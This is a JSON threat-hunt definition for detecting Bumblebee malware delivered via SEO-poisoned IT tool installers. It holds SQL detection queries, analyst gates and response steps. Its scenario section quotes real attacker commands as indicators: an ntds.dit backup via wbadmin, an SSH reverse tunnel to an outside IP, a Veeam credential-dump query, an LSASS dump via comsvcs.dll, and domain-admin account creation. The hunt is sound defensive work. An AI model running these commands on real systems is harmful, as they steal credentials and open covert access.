{ "hunt": { "meta": { "tlp": "clear", "hunt": { "handoff": "promote-to-detection", "trigger": "intel-report", "methodology": "model-assisted", "applicability": "campaign-specific", "justification": "Bumblebee is a gateway to Akira ransomware. Detecting the initial infection at the DLL side-loading stage prevents the intrusion from escalating to full domain compromise and data exfiltration." }, "name": "Bumblebee SEO Poisoning and DLL Sideloading", "type": "investigation", "labels": [ "hunt", "attack.t1189", "attack.t1574.002", "attack.t1204.002", "attack.t1071.001", "attack.t1568.002" ], "series": { "slug": "flash-alert-from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira", "index": 1, "title": "Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira", "total": 3 }, "related": [ { "hunt": "bumblebee-discovery-and-recon", "reason": "This hunt targets initial access; the follow-on hunt identifies the subsequent internal reconnaissance commands.", "relation": "follows" } ], "targets": { "hunter": { "name": "Hunt agent", "agent": true }, "analyst": { "name": "Tier-2 analyst", "role": "analyst" }, "endpoint": { "name": "Endpoint telemetry (hb_ surfaces)", "category": "endpoint", "telemetry": [ "endpoint" ] } }, "analysis": "A standard rule for 'msimg32.dll' is too noisy for a production fleet. This hunt uses a gated flow to first identify rare MSI executions and then pivot to high-fidelity behavioral correlation, including a temporal check between the installer and the side-load in a system process.", "coverage": [ { "stage": "initial-access-seo-poisoning", "steps": [ "scoping-affected-software", "lead-msi-execution", "c2-network-activity" ], "status": "covered" }, { "stage": "execution-malware-loading", "steps": [ "module-sideload-behavior" ], "status": "covered" }, { "stage": "command-and-control-bumblebee-adaptix", "steps": [ "c2-network-activity" ], "status": "covered" }, { "stage": "discovery-host-and-domain", "reason": "Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.", "status": "out_of_scope" }, { "stage": "persistence-domain-account-creation", "reason": "Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.", "status": "out_of_scope" }, { "stage": "lateral-movement-rdp", "reason": "Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.", "status": "out_of_scope" }, { "stage": "credential-access-ntds-dump", "reason": "Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.", "status": "out_of_scope" }, { "stage": "persistence-and-tunneling", "reason": "Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.", "status": "out_of_scope" }, { "stage": "credential-access-postgre-lsass", "reason": "Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.", "status": "out_of_scope" }, { "stage": "exfiltration-sftp", "reason": "Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.", "status": "out_of_scope" }, { "stage": "impact-akira-ransomware", "reason": "Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.", "status": "out_of_scope" } ], "scenario": { "stages": [ { "name": "Initial Access via SEO Poisoning", "slug": "initial-access-seo-poisoning", "tactic": "initial-access", "techniques": [ "T1189" ], "observables": [ "opmanager.pro", "ManageEngine-OpManager.msi", "angryipscanner.org", "axiscamerastation.org", "ip-scanner.org" ] }, { "name": "Bumblebee Loading and Execution", "slug": "execution-malware-loading", "tactic": "execution", "techniques": [ "T1574.002", "T1204.002" ], "observables": [ "msiexec.exe", "consent.exe", "msimg32.dll", "186b26df63df3b7334043b47659cba4185c948629d857d47452cc1936f0aa5da", "a6df0b49a5ef9ffd6513bfe061fb60f6d2941a440038e2de8a7aeb1914945331" ] }, { "name": "Bumblebee and Adaptix C2", "slug": "command-and-control-bumblebee-adaptix", "tactic": "command-and-control", "techniques": [ "T1071.001", "T1568.002" ], "observables": [ "109.205.195.211", "188.40.187.145", "172.96.137.160", "ev2sirbd269o5j.org", "2rxyt9urhq0bgj.org", "AdgNsy.exe" ] }, { "name": "Host and Domain Reconnaissance", "slug": "discovery-host-and-domain", "tactic": "discovery", "techniques": [ "T1082", "T1087.002", "T1069.002" ], "observables": [ "systeminfo", "nltest /dclist:", "whoami /groups", "net group \"domain admins\" /dom" ] }, { "name": "Privileged Account Creation", "slug": "persistence-domain-account-creation", "tactic": "persistence", "techniques": [ "T1136.002" ], "observables": [ "net user backup_DA", "net user backup_EA", "net group \"Enterprise Administrators\" backup_EA /add" ] }, { "name": "Lateral Movement via RDP", "slug": "lateral-movement-rdp", "tactic": "lateral-movement", "techniques": [ "T1021.001" ], "observables": [ "backup_EA" ] }, { "name": "NTDS.dit Extraction", "slug": "credential-access-ntds-dump", "tactic": "credential-access", "techniques": [ "T1003.003" ], "observables": [ "wbadmin.exe start backup -backuptarget:\\\\127.0.0.1\\C$\\ProgramData\\ -include:\"C:\\windows\\NTDS\\ntds.dit\"", "ntds.dit" ] }, { "name": "Persistence and External Tunneling", "slug": "persistence-and-tunneling", "tactic": "persistence", "techniques": [ "T1133", "T1572" ], "observables": [ "RustDesk", "ssh root@193.242.184.150 -R *:10400", "83.229.17.60" ] }, { "name": "Database and Memory Credential Theft", "slug": "credential-access-postgre-lsass", "tactic": "credential-access", "techniques": [ "T1003.001", "T1555" ], "observables": [ "psql.exe -U postgres -d VeeamBackup -c \"SELECT user_name,password FROM credentials\"", "rundll32.exe C:\\windows\\System32\\comsvcs.dll, #+000024" ] }, { "name": "Data Exfiltration via FileZilla", "slug": "exfiltration-sftp", "tactic": "exfiltration", "techniques": [ "T1048.003" ], "observables": [ "FileZilla", "185.174.100.203" ] }, { "name": "Akira Ransomware Deployment", "slug": "impact-akira-ransomware", "tactic": "impact", "techniques": [ "T1486" ], "observables": [ "locker.exe", "win.exe", "de730d969854c3697fd0e0803826b4222f3a14efe47e4c60ed749fff6edce19d" ] } ], "summary": "Threat actors utilized SEO poisoning for 'ManageEngine OpManager' to deliver Bumblebee malware, which dropped AdaptixC2 for post-exploitation. The intrusion involved domain account creation, NTDS.dit dumping via wbadmin, and lateral movement to a backup server before exfiltrating data and deploying Akira ransomware." }, "severity": "high", "rationale": "Focus on high-privilege IT administrator workstations and servers where management software like ManageEngine is expected. Use the inventory query to find legitimate installations to establish a baseline.", "guardrails": { "claims": "no_unsupported", "evidence": "citation_required", "telemetry": "untrusted", "missing_data": "not_benign" }, "hypothesis": "An intruder compromises privileged workstations by poisoning search results for IT tools, tricking users into running a trojanized MSI that side-loads Bumblebee malware via consent.exe.", "parameters": { "c2_domains": { "from": { "ref": "https://thedfirreport.com/2025/08/05/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira-2/", "kind": "article", "observed": "2025-08-05" }, "type": "list[domain]", "default": [ "opmanager.pro", "angryipscanner.org", "axiscamerastation.org", "ip-scanner.org", "ev2sirbd269o5j.org", "2rxyt9urhq0bgj.org" ], "description": "Known C2 and redirect domains from the article." }, "lead_hosts": { "type": "list[host]", "default": [], "description": "Specific hosts identified in the lead query; the analyst must populate this to run the behavioral fan-out." }, "scope_hosts": { "type": "list[host]", "default": [], "description": "Optional list of hostnames from the scoping step to narrow the search." }, "lookback_days": { "type": "number", "default": "14", "description": "Days of history to examine." } }, "provenance": { "authors": [ { "org": "huntbase.io", "name": "Huntbase hunt generation" } ], "generated": { "by": "huntbase-hunt-generation", "from": "https://thedfirreport.com/2025/08/05/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira-2/", "gates": [ "dry-run", "lint" ], "model": "hb_google/gemini-3-flash-preview" } }, "references": [ { "url": "https://thedfirreport.com/2025/08/05/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira-2/", "name": "The DFIR Report \u2014 From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira" } ], "blind_spots": [ { "id": "msi-telemetry-gap", "risk": "The lead query depends on seeing the filename in the command line; truncation would hide the trojanized installer.", "stage": "initial-access-seo-poisoning", "question": "whether the .msi path in the msiexec command line is visible or truncated", "requires": "full process command line telemetry including temporary paths" }, { "id": "module-visibility-gap", "risk": "Some EDRs ignore module loads into Microsoft-signed system processes, blinding the hunt to the execution stage.", "stage": "execution-malware-loading", "question": "whether the side-loading of msimg32.dll into consent.exe was recorded", "requires": "hb_module_activity with DLL load logging for system processes" } ] }, "name": "Bumblebee SEO Poisoning and DLL Sideloading", "description": "This hunt targets the mid-2025 campaign where an adversary delivered Bumblebee through SEO-poisoned Bing search results for common IT tools like ManageEngine OpManager. The adversary tricks users into downloading trojanized MSI installers, which then side-load malware via the Windows consent process. The hunt identifies affected systems by inventory, evaluates rare installer execution in user-writable paths, and correlates those leads with behavioral and network indicators of Bumblebee and AdaptixC2. The analyst verifies the causal link between the installer and the subsequent high-integrity DLL side-loading to confirm the infection." }, "nodes": [ { "id": "hypothesis", "type": "hypothesis", "label": "Hypothesis", "config": { "tags": [], "series": { "slug": "flash-alert-from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira", "index": 1, "title": "Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira", "total": 3 }, "coverage": [ { "stage": "initial-access-seo-poisoning", "steps": [ "scoping-affected-software", "lead-msi-execution", "c2-network-activity" ], "status": "covered" }, { "stage": "execution-malware-loading", "steps": [ "module-sideload-behavior" ], "status": "covered" }, { "stage": "command-and-control-bumblebee-adaptix", "steps": [ "c2-network-activity" ], "status": "covered" }, { "stage": "discovery-host-and-domain", "reason": "Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.", "status": "out_of_scope" }, { "stage": "persistence-domain-account-creation", "reason": "Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.", "status": "out_of_scope" }, { "stage": "lateral-movement-rdp", "reason": "Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.", "status": "out_of_scope" }, { "stage": "credential-access-ntds-dump", "reason": "Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.", "status": "out_of_scope" }, { "stage": "persistence-and-tunneling", "reason": "Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.", "status": "out_of_scope" }, { "stage": "credential-access-postgre-lsass", "reason": "Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.", "status": "out_of_scope" }, { "stage": "exfiltration-sftp", "reason": "Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.", "status": "out_of_scope" }, { "stage": "impact-akira-ransomware", "reason": "Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.", "status": "out_of_scope" } ], "rationale": "An intruder compromises privileged workstations by poisoning search results for IT tools, tricking users into running a trojanized MSI that side-loads Bumblebee malware via consent.exe.", "blind_spots": [ { "id": "msi-telemetry-gap", "risk": "The lead query depends on seeing the filename in the command line; truncation would hide the trojanized installer.", "stage": "initial-access-seo-poisoning", "question": "whether the .msi path in the msiexec command line is visible or truncated", "requires": "full process command line telemetry including temporary paths" }, { "id": "module-visibility-gap", "risk": "Some EDRs ignore module loads into Microsoft-signed system processes, blinding the hunt to the execution stage.", "stage": "execution-malware-loading", "question": "whether the side-loading of msimg32.dll into consent.exe was recorded", "requires": "hb_module_activity with DLL load logging for system processes" } ], "scoping_notes": "Focus on high-privilege IT administrator workstations and servers where management software like ManageEngine is expected. Use the inventory query to find legitimate installations to establish a baseline.", "beyond_detection": "A standard rule for 'msimg32.dll' is too noisy for a production fleet. This hunt uses a gated flow to first identify rare MSI executions and then pivot to high-fidelity behavioral correlation, including a temporal check between the installer and the side-load in a system process." } }, { "id": "scoping-affected-software", "type": "query", "label": "Scope hosts with targeted IT software", "config": { "dsl": "sqlite", "role": "scoping", "source": "endpoint", "content": "SELECT device_hostname, package_name, package_version, vendor_name FROM hb_software_inventory WHERE (LOWER(package_name) LIKE '%opmanager%' OR LOWER(package_name) LIKE '%manageengine%' OR LOWER(package_name) LIKE '%angry ip%' OR LOWER(package_name) LIKE '%axis camera%' OR LOWER(package_name) LIKE '%advanced ip%')", "surface": "hb_software_inventory", "description": "Identify hosts containing the impersonated IT management software to focus the hunt on likely victims.", "expected_signal": "A list of hosts running software often impersonated by this threat actor, such as OpManager or network scanners." }, "parents": [ { "id": "hypothesis" } ], "primitive_config": { "dsl": "sqlite", "role": "scoping", "label": "Scope hosts with targeted IT software", "reads": [ "device_hostname", "package_name", "package_version", "vendor_name" ], "source": "hb_software_inventory", "target": "endpoint", "content": "SELECT device_hostname, package_name, package_version, vendor_name FROM hb_software_inventory WHERE (LOWER(package_name) LIKE '%opmanager%' OR LOWER(package_name) LIKE '%manageengine%' OR LOWER(package_name) LIKE '%angry ip%' OR LOWER(package_name) LIKE '%axis camera%' OR LOWER(package_name) LIKE '%advanced ip%')", "silence": "not_evidence_of_absence", "expected": "A list of hosts running software often impersonated by this threat actor, such as OpManager or network scanners.", "verified": "dry-run", "verified_at": "2026-09-20" } }, { "id": "lead-msi-execution", "type": "query", "label": "Rare MSI executions from user paths", "config": { "dsl": "sqlite", "role": "baseline", "source": "endpoint", "content": "SELECT device_hostname, process_path, process_cmd_line, user_name, MIN(time) AS first_seen, COUNT(DISTINCT device_hostname) AS host_count FROM hb_process_activity WHERE (LOWER(process_name) LIKE '%msiexec.exe' OR LOWER(process_cmd_line) LIKE '%msiexec %') AND (LOWER(process_cmd_line) LIKE '%\\\\users\\\\%' OR LOWER(process_cmd_line) LIKE '%\\\\downloads\\\\%' OR LOWER(process_cmd_line) LIKE '%\\\\desktop\\\\%' OR LOWER(process_cmd_line) LIKE '%\\\\programdata\\\\%') AND LOWER(process_cmd_line) LIKE '%.msi%' AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY process_cmd_line, process_path, device_hostname, user_name HAVING host_count <= 3 ORDER BY host_count ASC", "surface": "hb_process_activity", "description": "Locate the trojanized installer by finding rare MSI executions triggered from user-writable or temporary directories.", "expected_signal": "Rare command lines pointing at installers in Downloads or ProgramData. The process_path confirms whether msiexec.exe is running from System32." }, "parents": [ { "id": "scoping-affected-software" } ], "primitive_config": { "dsl": "sqlite", "role": "baseline", "label": "Rare MSI executions from user paths", "reads": [ "device_hostname", "process_path", "process_cmd_line", "user_name", "time" ], "source": "hb_process_activity", "target": "endpoint", "content": "SELECT device_hostname, process_path, process_cmd_line, user_name, MIN(time) AS first_seen, COUNT(DISTINCT device_hostname) AS host_count FROM hb_process_activity WHERE (LOWER(process_name) LIKE '%msiexec.exe' OR LOWER(process_cmd_line) LIKE '%msiexec %') AND (LOWER(process_cmd_line) LIKE '%\\\\users\\\\%' OR LOWER(process_cmd_line) LIKE '%\\\\downloads\\\\%' OR LOWER(process_cmd_line) LIKE '%\\\\desktop\\\\%' OR LOWER(process_cmd_line) LIKE '%\\\\programdata\\\\%') AND LOWER(process_cmd_line) LIKE '%.msi%' AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY process_cmd_line, process_path, device_hostname, user_name HAVING host_count <= 3 ORDER BY host_count ASC", "silence": "not_evidence_of_absence", "baseline": { "window": "{{lookback_days}}d", "compare": "first_seen" }, "expected": "Rare command lines pointing at installers in Downloads or ProgramData. The process_path confirms whether msiexec.exe is running from System32.", "verified": "dry-run", "prevalence": { "by": "device_hostname", "key": [ "process_cmd_line" ], "rare_below": 3 }, "verified_at": "2026-09-20" } }, { "id": "evaluate-lead", "type": "analytic", "label": "Evaluate MSI installation lead", "config": { "cite": "required", "tools": [ "endpoint" ], "context": [ "lead-msi-execution" ], "objective": "Determine if any detected MSI executions resemble the trojanized IT tools named in the research, such as ManageEngine or Angry IP Scanner.", "description": "Assess the rare MSI files to determine if they match the trojanized patterns from the campaign.", "max_iterations": 3, "expected_signal": "A verdict identifying specific hosts and installers matching the malicious IT tool persona.", "success_criteria": "A list of hosts where the MSI leads are suspicious enough to warrant further behavioral analysis." }, "parents": [ { "id": "lead-msi-execution" } ] }, { "id": "gate-on-msi", "type": "checkpoint", "label": "Gate on MSI findings", "config": { "fuzzy": true, "judge": "hunter", "question": "the evaluation identified at least one suspicious MSI installer matching the campaign pattern", "condition": "the evaluation identified at least one suspicious MSI installer matching the campaign pattern", "blind_spot": "msi-telemetry-gap", "confidence": "high", "description": "Open expensive behavioral queries only when a suspicious installer is identified.", "checkpoint_type": "mandatory" }, "parents": [ { "id": "evaluate-lead" } ] }, { "id": "module-sideload-behavior", "type": "query", "label": "Bumblebee side-loading by consent.exe", "config": { "dsl": "sqlite", "role": "detection-candidate", "source": "endpoint", "content": "SELECT device_hostname, process_name, module_name, module_path, time FROM hb_module_activity WHERE LOWER(process_name) LIKE '%\\\\consent.exe' AND LOWER(module_name) = 'msimg32.dll' AND ('{{lead_hosts}}' = '' OR instr(',' || '{{lead_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')", "surface": "hb_module_activity", "description": "Detect the side-loading of msimg32.dll into the Windows UAC consent.exe process, a signature Bumblebee technique.", "expected_signal": "consent.exe loading msimg32.dll from an unexpected directory on a lead host." }, "parents": [ { "id": "gate-on-msi", "branch": "on_supports" } ], "primitive_config": { "dsl": "sqlite", "role": "detection-candidate", "label": "Bumblebee side-loading by consent.exe", "reads": [ "device_hostname", "process_name", "module_name", "module_path", "time" ], "source": "hb_module_activity", "target": "endpoint", "content": "SELECT device_hostname, process_name, module_name, module_path, time FROM hb_module_activity WHERE LOWER(process_name) LIKE '%\\\\consent.exe' AND LOWER(module_name) = 'msimg32.dll' AND ('{{lead_hosts}}' = '' OR instr(',' || '{{lead_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')", "silence": "not_evidence_of_absence", "expected": "consent.exe loading msimg32.dll from an unexpected directory on a lead host.", "verified": "dry-run", "verified_at": "2026-09-20" } }, { "id": "c2-network-activity", "type": "query", "label": "Bumblebee DGA and C2 network activity", "config": { "dsl": "sqlite", "role": "enrichment", "source": "endpoint", "content": "SELECT device_hostname, query_hostname, answers, time FROM hb_dns_activity WHERE (instr(',' || '{{c2_domains}}' || ',', ',' || LOWER(query_hostname) || ',') > 0 OR (length(query_hostname) BETWEEN 12 AND 18 AND query_hostname LIKE '%.org')) AND ('{{lead_hosts}}' = '' OR instr(',' || '{{lead_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')", "surface": "hb_dns_activity", "description": "Verify the infection through DNS activity matching the Bumblebee DGA and redirect domains.", "expected_signal": "Lead hosts resolving known C2 redirectors or DGA domains like random .org addresses." }, "parents": [ { "id": "gate-on-msi", "branch": "on_supports" } ], "primitive_config": { "dsl": "sqlite", "role": "enrichment", "label": "Bumblebee DGA and C2 network activity", "reads": [ "device_hostname", "query_hostname", "answers", "time" ], "source": "hb_dns_activity", "target": "endpoint", "content": "SELECT device_hostname, query_hostname, answers, time FROM hb_dns_activity WHERE (instr(',' || '{{c2_domains}}' || ',', ',' || LOWER(query_hostname) || ',') > 0 OR (length(query_hostname) BETWEEN 12 AND 18 AND query_hostname LIKE '%.org')) AND ('{{lead_hosts}}' = '' OR instr(',' || '{{lead_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')", "silence": "not_evidence_of_absence", "expected": "Lead hosts resolving known C2 redirectors or DGA domains like random .org addresses.", "verified": "dry-run", "verified_at": "2026-09-20" } }, { "id": "triage-infection", "type": "analytic", "label": "Triage Bumblebee infection", "config": { "cite": "required", "tools": [ "endpoint" ], "context": [ "evaluate-lead", "module-sideload-behavior", "c2-network-activity" ], "objective": "Explicitly correlate the timestamp of the rare MSI execution found in evaluate-lead with the consent.exe module load in module-sideload-behavior to confirm the causal link. Determine if C2 traffic provides additional confirmation.", "description": "Synthesize the MSI lead, behavioral module loads, and network traffic into a confirmed infection verdict.", "max_iterations": 6, "expected_signal": "A high-confidence verdict citing the temporal link between the MSI execution and the consent.exe module load.", "success_criteria": "A malicious verdict for hosts where the trojanized installer triggered the side-loading behavior." }, "parents": [ { "id": "module-sideload-behavior", "kind": "merge" }, { "id": "c2-network-activity", "kind": "merge" } ] }, { "id": "route-on-verdict", "type": "checkpoint", "label": "Route on infection verdict", "config": { "fuzzy": true, "judge": "hunter", "question": "the triage verdict is malicious for at least one host", "condition": "the triage verdict is malicious for at least one host", "blind_spot": "module-visibility-gap", "confidence": "high", "description": "Direct the response based on the agent's confirmed findings.", "checkpoint_type": "mandatory" }, "parents": [ { "id": "triage-infection" } ] }, { "id": "isolate-compromised-host", "type": "action", "label": "Isolate compromised host", "config": { "target": "endpoint", "description": "Prevent the adversary from moving laterally or deploying ransomware by severing network access.", "instructions": "Isolate the host immediately. Collect the MSI installer and the msimg32.dll file from the temporary directories for further forensic analysis.", "action_approval": "required" }, "parents": [ { "id": "route-on-verdict", "branch": "on_supports" } ] }, { "id": "manual-analyst-review", "type": "task", "label": "Manual analyst review", "config": { "assignee": "analyst", "description": "Manually verify the origin of the malicious download and check for subsequent recon.", "instructions": "Audit browser history for searches on Bing related to the identified IT tools. Verify if subsequent discovery commands like 'systeminfo' or 'nltest' ran on the host." }, "parents": [ { "id": "gate-on-msi", "branch": "default" }, { "id": "gate-on-msi", "branch": "on_unavailable" }, { "id": "route-on-verdict", "branch": "default" }, { "id": "route-on-verdict", "branch": "on_unavailable" }, { "id": "route-on-verdict", "branch": "on_refutes" }, { "id": "isolate-compromised-host" } ] }, { "id": "close-out-hunt", "type": "task", "label": "Close out hunt", "config": { "assignee": "analyst", "description": "Finalize findings and recommend detection tuning.", "instructions": "Document confirmed malicious MSI packages. Consider promoting the consent.exe module-load logic to a persistent detection rule if false positive rates are low." }, "parents": [ { "id": "gate-on-msi", "branch": "on_refutes" }, { "id": "manual-analyst-review" } ] } ] }